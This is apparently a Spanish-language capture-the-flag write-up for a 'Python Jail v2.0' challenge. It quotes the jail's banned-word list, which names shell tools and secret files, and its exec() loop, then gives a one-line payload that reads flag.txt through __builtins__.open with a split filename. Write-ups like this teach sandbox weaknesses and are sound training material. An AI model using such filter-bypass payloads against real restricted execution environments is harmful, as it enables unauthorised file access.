Python Jail v2.0 - Maximum Security (400)
¡El guardia de la prisión mejoró sus defensas!
Después de ver cómo los prisioneros escapaban de la primera celda, el administrador implementó un sistema de seguridad mucho más robusto. Esta vez hay más de 60 palabras prohibidas y las restricciones son severas.
Tu objetivo: Leer el contenido del archivo 'flag.txt'
Try Harder!
nc 0.cloud.chals.io 15068
Análisis inicial
Al inspeccionar el contenedor Docker proporcionado, encontramos un entorno Python con múltiples restricciones. El archivo 'flag.txt' está presente, pero las funciones comunes para leer archivos están bloqueadas.
Tenemos la siguiente estructura de archivos:
.
├── Dockerfile
├── flag.txt
├── jail.py
└── server.py
El archivo jail.py contiene la lógica de la cárcel, incluyendo las restricciones impuestas. El archivo server.py inicia el servidor que ejecuta el entorno restringido.
A continuación, se muestra un extracto del archivo jail.py con las palabras prohibidas:
def check_input(user_input):
banned = [
'import', 'file', 'system', 'exec', 'eval', 'flag',
'write', 'close', 'path', 'sys', 'subprocess',
'__class__', '__base__', '__bases__', '__mro__', '__dict__',
'__globals__', '__closure__', '__code__', '__getattribute__',
'setattr', 'dir', 'help', 'gc', 'id', 'del',
'compile', 'globals', 'locals', 'vars', '__import__',
'chr', 'ord', 'str', 'list', 'tuple', 'dict', 'bytes', 'join',
'lambda', 'assert', 'slice', 'popen', 'fork', 'kill', 'chmod', 'chown',
'socket', 'ctypes', 'requests', 'urllib', 'cat', 'grep',
'sudo', 'wget', 'etc', 'passwd', 'bin', 'root', 'user', 'secret', 'key', 'home'
]
if len(user_input) > 200:
return False
for word in banned:
if word in user_input.lower():
print(word)
return False
return True
Y en este otro tramo del códio vemos que si superamos correctamente la verificación de entrada, se ejecuta el código proporcionado por el usuario:
while command_count < max_commands:
try:
user_input = input("jail> ")
command_count += 1
if user_input.lower() == 'quit':
print("Goodbye!")
break
if not check_input(user_input):
print("Forbidden word detected!")
continue
try:
exec(user_input)
except Exception as e:
print(f"Error: {e}")
except KeyboardInterrupt:
print("\nGoodbye!")
break
except EOFError:
break
if command_count >= max_commands:
print("Command limit reached! Connection closed.")
Solución
Para superar las restricciones impuestas por el sistema de seguridad, podemos aprovechar la capacidad de Python para manipular objetos y sus atributos. A pesar de que muchas funciones y módulos están bloqueados, aún podemos acceder a ciertos objetos internos de Python.
Lo primero de todo, me ha llamado la atención que las palabras open y read no están en la lista de palabras prohibidas. Por lo tanto, podemos intentar abrir y leer el archivo flag.txt directamente.
Para evitar cualquier problema con la palabra flag, podemos construir el nombre del archivo de manera dinámica. Además usamos __builtins__ para acceder a la función open, ya que no está bloqueada.
print(__builtins__.open('fl'+'ag.txt').read())
Al ejecutar este comando en nuestra copia del entorno restringido, obtenemos la flag:
╔════════════════════════════════════════╗
║ PYTHON JAIL v2.0 ║
║ Can you escape the jail? ║
╚════════════════════════════════════════╝
Welcome to the Python Jail v2!
Try to read the flag from 'flag.txt'
Some words are forbidden... can you find another way?
Type 'quit' to exit
You have 5 minutes!
jail> print(__builtins__.open('fl'+'ag.txt').read())
ikerlan{fake_flag}
Perfecto, hemos logrado escapar de la cárcel y leer el contenido del archivo flag.txt. Ahora repetimos el proceso en el servidor remoto para obtener la flag real del desafío.
nc 0.cloud.chals.io 15068
Introduciendo el mismo comando, obtenemos la flag definitiva:
ikerlan{th1nk_0ut_of_th3_b0x_lik3_a_b055}